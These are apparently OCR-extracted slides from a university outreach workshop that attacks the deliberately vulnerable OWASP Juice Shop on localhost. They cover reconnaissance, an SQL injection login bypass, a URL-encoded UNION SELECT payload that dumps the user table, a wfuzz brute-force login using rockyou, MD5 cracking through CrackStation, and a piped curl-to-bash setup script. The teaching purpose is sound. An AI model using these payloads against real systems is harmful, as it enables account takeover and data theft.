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About Me

*  Professor in Cyber Security
* Co-Director of UWEcyber (NCSC ACE-CSE)

. " United
+  Cyber Security research theme lead o
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* Research interests: o
o Cyber Security, Machine Learning, Data Visualisation

o Insider threat detection, cyber situational awareness, adversarial Al,
privacy-preserving Al, visualisation for explainable Al, cyber resilience...
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Web Vulnerability Workshop

Today, we will explore web vulnerabilities using the popular OWASP Juice Shop.

«  We will perform reconnaissance to find out details about the users.

- We will perform SQL injection attacks to bypass security, gain access and
retrieve more data.

*  We will brute force login and hash cracking to uncover user passwords.

These concepts will give you an initial experience of offensive (and defensive)
cyber security testing.

Want to follow along and try it for yourself?
Download these slides from: http://pa-legqg.qgithub.io/uwe-ohd2025/slides.pdf


http://pa-legg.github.io/uwe-ohd2025/slides.pdf
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Web Vulnerability Workshop

VMware Workstation
« Avirtual machine (VM) platform

Kali Linux

« A Linux operating system with various applications pre-installed

Docker
« A container platform to run a lightweight VM application

OWASP Juice Shop
« Avulnerable web application that we will test
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Get started in the Kali Terminal

sudo apt update
sudo apt install -y docker.io
sudo systemctl enable docker

sudo usermod -aG docker S$USER
docker run -d -p 127.0.0.1:3000:3000 bkimminich/juice-shop

v v N n »n

Alternatively, you could do automatically with a single script...

$ curl : - ' ' - i | bash



http://pa-legg.github.io/uwe-ohd2025/script.sh
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Kali / Juice Sho.p‘/

Challenge 1 . R

€ C @

What is the administrator’'s email Bl s e PR R
add ress? = 'OWASPJuice Shop Q@ rcoun © on

< Kali Linux 2023

All Products

Click for more information
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Challenge 1

< C @ O D localhost

What is the administrator’s email

addreSS? 4§ OWASP Juice Shop

All Products Apple fuilce

(1000ml)

>> admin @ j ui ce - Sh . op The all-time classic.

1.99x=

Reviews (1)

admin@juice-sh.op
One of my favorites!

UWE
Bristol

University
of the
West of
England




UWE |si=

Bristol | i

Kali / Juice Shop

Challenge 2 ; .
How can we log in as the administrator? c 6 0 0 wabon

KaliLinux @ KaliTools ¢ KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

® e O < Kali Linux 2023

= .OWASP Juice Shop

or

G Log in with
Google
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Kali / Juice Shop

Challenge 2 I EELET

L] & OWASP Juice Shop X+

How can we log in as the administrator? c-oe

KaliLinux @ KaliTools ¢ KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

.OWASP Juice Shop

>> SQL injection

select * from users
where username = ""<USERNAME>"
and password = “"<PASSWORD>"

G Log in with
Google
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Kali / Juice Shop

Challenge 2 . BEEE
How can we log in as the administrator? < co

KaliLinux @ KaliTools ¢ KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

eve O <l Kali Linux 2023

= .OWASP Juice Shop

>> SQL injection

select * from users
where username = "' or 1=1;--"
and password = “"<PASSWORD>"

or

G Log in with
Google
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SmBP o
G & OWASP Juice Shop

Challenge 2 —
H OW Ca n We Iog i n aS th e ad m in i Strato r? i mui":OKa\L/l"IFoAclssP?Jt:lilzoe(ss;:::)Fovums « Kali NetHunter Exploit-DB Google Hacking DB

>> SQL injection

select * from users
where username = "' or 1=1;--"
and password = “"<PASSWORD>"

3] Login
[] remember me
-or

G Log in with

>> "' closes the query e
>> 1=1 is TRUE e

>> ;-- terminates the statement early

OffSec
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Challenge 3
Can we brute force the administrator password?

® e O < Kali Linux 2023

KaliLinux & KaliTools ¢ KaliDocs N Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB OffSec

= .‘OWASP Juice Shop

>> To do this we need a password
list, and a way of automatically
checking whether the
username/password combination worked.

We will run a short example of how to
automate a brute force login!

G Log in with
Google
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Kali / Juice Shop

Challenge 3
Can we brute force the administrator password?

$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
$ sed -n 89900,90100p /usr/share/wordlists/rockyou.txt > mypass.txt

$ wfuzz -¢ -w ./mypass.txt -d "email=admin@juice-sh.op&password=FUZZ"
http://localhost:3000/rest/user/login

>> Check what status codes we get back for each password
attempt
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Challenge 4
Can we get the complete user database?

localhost:3000/rest/products/search?qg=
qwert$%$27%29%29%20UNION%20SELECT%20id%2
C%20email $2C%$20password%2C%20%274%27%2
C%20%275%27%2C%$20%276%27%2C%20%277%27%
2C%20%278%27%2C%20%279%27%20FROM%20Use

rs—-

>> Use https://gchg.github.io/ to URL

decode the above

UWE cyber | YWE

NemPor]-

®  localhost:3000/rest/product X  +

&

Kali Linux

C @

& Kali Tools

Bristol

O localhost

* KaliDocs N Kali Forums o\ Kali NetHunter
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Exploit-DB Google Hacking DB


https://gchq.github.io/

Kali / Juice Shop

Challenge 4
Can we get the complete user database?

localhost:3000/rest/products/search?qg=
qwert$%$27%29%29%20UNION%20SELECT%20id%2
C%20email $2C%$20password%2C%20%274%27%2
C%20%275%27%2C%$20%276%27%2C%20%277%27%
2C%20%278%27%2C%20%279%27%20FROM%20Use

rs—-

localhost:3000/rest/products/search?g=
gwert')) UNION SELECT id, email,
password, '4', '5', '6', '7', '8', '9'
FROM Users--
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®  localhost:3000/rest/product X  +

Kali Linux

C @

& Kali Tools

O localhost

* KaliDocs N Kali Forums o\ Kali NetHunter
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Exploit-DB Google Hacking DB
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Challenge 5

Can we crack the password hashes for the other user
accounts that we just discovered?

admin:0192023a7bbd73250516£069d£18b500
jim:e541ca7ecf72b8d1286474fc613e5e45
bender:0c36e517e3fa95aabflbbffc6744adef

>> We have found MD5 hashes that encode
the cleartext passwords.

>> Use h;;p;[[www,gragks;a;ign,ngt to

recover the passwords from lookup tables. [

Page Hits:
Unique Hits:

< crackstation.net

Free Password Hash

Enter up to 20 non-salted hashes, one per line:

0192023a7bbd73250516f069df 180500
e541ca7eci72b8d1286474fc613e5e45
0c36e517e3fad5aabf1bbifc6744adef

Supports: LM, NTLM, md2, md4, mdS, md5(md5_hex), mdS-half, shal, sha224, sha256, sha384, sha51
Qubesv3.1BackupDefaults

Download CrackStation

How CrackStation Works

CrackStation uses massive pre-computed lookup tables to crack password hashes. T
and the correct password for that hash. The hash values are indexed so that it is po:
hash is present in the database, the password can be recovered in a fraction of a se
password hashing systems that are not vulnerable to pre-computed lookup tables, s

Crackstation's lookup tables were created by extracting every word from the Wikipet
find. We also applied intelligent word mangling (brute force hybrid) to our wordlists |
we have a 190GB, 15-billion-entry lookup table, and for other hashes, we have a 19

You can download CrackStation's dictionaries here, and the lookup table implementa

May 27, 2019, 8:19am UTC
58832225
11713576



http://www.crackstation.net/

Kali / Juice Shop

Challenge 5

Can we crack the password hashes for the other user
accounts that we just discovered?

admin:0192023a7bbd73250516£069d£18b500
jim:e541ca7ecf72b8d1286474fc613e5e45
bender:0c36e517e3fa95aabflbbffc6744adef

>> We have now also found Jim’s password!

Crae
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< crackstation.net

I«Stall'm

Figa S &

Password Hashing Security ¥ Defuse Security ¥

Free Password Hasl

Enter up to 20 non-salted hashes, one per line:

0192023a7bbd73250516f069df18b500
e547ca7ec72b8d1286474fc613e5e45
0c36e517e3fad5aabf1bbffc6744adef

Supports: LM, NTLM, md2, md4, mdS, md5(md5_hex), mdS-half, shal, sha224, sha256, sha384, sh:
QubesV3.1BackupDefaults

Hash

0192023a7bbd73250516£069df18b500

e541calecf72bBd1286474fc613e5e45
Color Codes: Gféen: Exact match, Yellow: Partial match, [l Not found.

Downl rack i

How CrackStation Works

CrackStation uses massive pre-computed lookup tables to crack password hashes.
and the correct password for that hash. The hash values are indexed so that it is |
hash is present in the database, the password can be recovered in a fraction of a
password hashing systems that are not vulnerable to pre-computed lookup tables,

Crackstation's lookup tables were created by extracting every word from the Wikif
find. We also applied intelligent word mangling (brute force hybrid) to our wordlist
we have a 190GB, 15-billion-entry lookup table, and for other hashes, we have a
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Web Vulnerability Workshop

Well done on completing your first web vulnerabilities exercise!

«  We performed reconnaissance to find out details about the users.

+  We performed SQL injection attacks to bypass security, gain access and
retrieve more data.

We conducted brute force login and hash cracking to uncover user passwords.

With great power comes great responsibility

Can you pull apart systems, discover the vulnerabilities,
and ultimately build back better defences for our systems?
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Interested to learn more? Whatcould

@0 ® U Il < KaliLinux2023

« Can you find the Juice Shop “score-board”? ] e

tH % OWASP Juice Shop

o It shows all the challenges that you can continue at home. e ———
—_ htt DS//OwaSD OFC]/WWW—Dl’OleCt-I UICG-ShOD/ Kali Linux @& KaliTools = KaliDocs N Kali Forums ! Kali NetHunter Exploit-DB Google Hac
https_//www kali Orq Broken Authentication Security through Obscuri Insecure Deserialization Miscellal

Security Misconfiguration Cryptographic Issues XXE

@& 17 challenges are unavailable on Docker due to secu concerns or technical incomg

* Our programme explores technical and
professional issues related to cyber security — =
including systems development, security " '
assessments, and improving cyber resilience. 5 © G

Miscellaneou Miscellaneous
Privacy Policy Bully Chatbot

- We look forward to you joining us on the
BSc Cyber Security and Digital Forensics
programme @ Error Handling Exposed Metrics



https://owasp.org/www-project-juice-shop/
https://www.kali.org/
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Thank you for listening

« Phil.Legg@uwe.ac.uk
* https://people.uwe.ac.uk/Person/PhilLegg

*  https://www.linkedin.com/in/prof-phil-legg/
* https://pa-legg.github.io



mailto:Phil.Legg@uwe.ac.uk
https://people.uwe.ac.uk/Person/PhilLegg
https://www.linkedin.com/in/prof-phil-legg/
https://pa-legg.github.io/

	Slide 1
	Slide 2
	Slide 3
	Slide 4
	Slide 5
	Slide 6
	Slide 7
	Slide 8
	Slide 9
	Slide 10
	Slide 11
	Slide 12
	Slide 13
	Slide 14
	Slide 15
	Slide 16
	Slide 17
	Slide 18
	Slide 19
	Slide 20

